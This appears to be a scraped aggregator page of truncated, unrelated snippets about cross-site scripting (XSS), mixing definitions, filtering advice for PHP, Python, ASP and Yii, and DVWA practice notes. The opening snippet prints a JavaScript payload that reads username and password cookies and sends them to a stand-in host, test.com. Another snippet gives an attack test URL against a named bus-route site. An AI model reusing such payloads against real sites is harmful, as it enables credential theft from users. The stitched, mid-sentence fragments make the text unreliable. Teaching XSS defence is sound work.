user name and password of other users.A malicious user would enter thisLet's see what's hidden in http://test.com/hack.js.var Username=cookiehelper.getcookie (' username '). Value;var password=cookiehelper.getcookie (' password '). Value;var Script =document.createelement (' script '); script.src= ' http://test.com/index.php?username= ' +username+ ' Password= ' +password;document.body.appendchild (script);A few simple JavaScript, get the user name password in the cookie, use JSONP to http://te
What is cross-site scripting attack?
==============================
Attackers create a website. When a victim accesses the website, the browser client receives a malicious script.Code. The script code will be run after the victim's browser. because the browser downloads
The main way to avoid XSS is to filter the content input and output provided by the user, and many languages provide filtering for HTML:
You can use the following functions to filter the parameters that appear to be XSS vulnerabilities
PHP's Htmlentities () or Htmlspecialchars ().Python's Cgi.escape ().
ASP's Server.HTMLEncode ().
Asp. NET Server.HTMLEncode (
\yii::$app->response->headers->add (' x-xss-protection ', ' 0 ');//for cross-site scripting filtering that shuts down Yiihttp://www.frontend.com/test/post?name= Reflex Injection attacksecho \yii::$app->request->get ("name");The page will pop up with an alertIn more specific cases, Yii prevents
XSS Overview
Cross-site Scripting is one of the most popular Web security vulnerabilities.
Malicious attackers insert malicious HTML into web pages
CodeWhen a user browses this page, the HTML code embedded in the Web is execute
Our Java website has encountered some problems today and requires a quick solution to protect the website against malicious cross-site scripting (XSS) attempts. I'm not saying this is a perfect solution, but it is easy to implemen
Note: The following connections are successfully tested in the browser.
For a webpage, XSS inserts content into the webpage without authorization.
Is a vulnerability.
However, you are more concerned about inserting content instead of authorization. This content is often harmful.
The harm is more to other netizens acces
First, cross-site scripting attacks are caused by the lack of strict filtering of user input, so we must intercept the possible risks before all the data comes into our web site and database. The Htmlentities () function can be used for illegal HTML code including single double quotes. ; to nerf the tag $val = Preg_re
Many websites now have cross-site scripting vulnerabilities, allowing hackers to take advantage of them. cross-Site attacks can be easily constructed and are very concealed and difficult to detect (usually jump back to the original page immediately after information
I learned these things in dvwa (Damn Vulnerable Web App). I installed dvwa in my free space. If you are interested, please check it out. DVWA
If you want a user name and password, you can contact me: sq371426@163.com
Dvwa is provided by google for verification. For details, see google CAPCTHE
The cross-site scripting
XSSCross-site Scripting Solution
If you enter some content in the user form ,...... In particular, there are many form items with no fixed format, such as addresses,ArticleContent ...... In this case, you can enter JSCodeEtc.
Step 1: In the design scheme, try to check the format and limit the length of the input item. Server-side detection is required and can
normal data information, after the script processing page feedback source content for Http://localhost/test.php?name=When accessed in the browser, we find a popup prompt, as shown in 2:Figure 2Then what is the source code of the page at this time?The source becomes "Classification of XSS Cross-
2Then what is the source code of the page at this time?The source becomes "Classification of XSS Cross-site scripting attacksAccording to the forms and effects of XSS
XSS cross-site scripting attacks have always been regarded as the most popular attack method in client Web security. Because of the complexity of the Web environment and the variability of XSS cross-
1 PrefaceIn recent years, with the tide of Web2.0, more and more people begin to pay attention to the Web security, the new Web attack technique emerges unceasingly, the security situation that the Web application faces is increasingly grim. Cross-site scripting attacks (XSS
XSS attacks, the full name of cross site scripting attacks (Scripting), are abbreviated as XSS, primarily to differentiate from cascading style sheets (cascading stylesheets,css) to avoid confusion.
Tosec Information Security Team (Www.tosec.cn)Original VulnerabilityAffected Versions:Only 8684. CN similar bus ProgramDescription:
Cross-Site vulnerabilities are directly generated because the program does not pass through strict query.Attack test code http://beijing.8684.cn/so.php? K = pp q = test "> Test attack site http://beijing.8684.cn/so.php? K = pp q =
Microsoft anti-Cross-Site Attack Script library v1.5. This download contains the distribution component of Microsoft Application Security Anti-Cross Site Scripting Library. the Anti-Cross Site
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.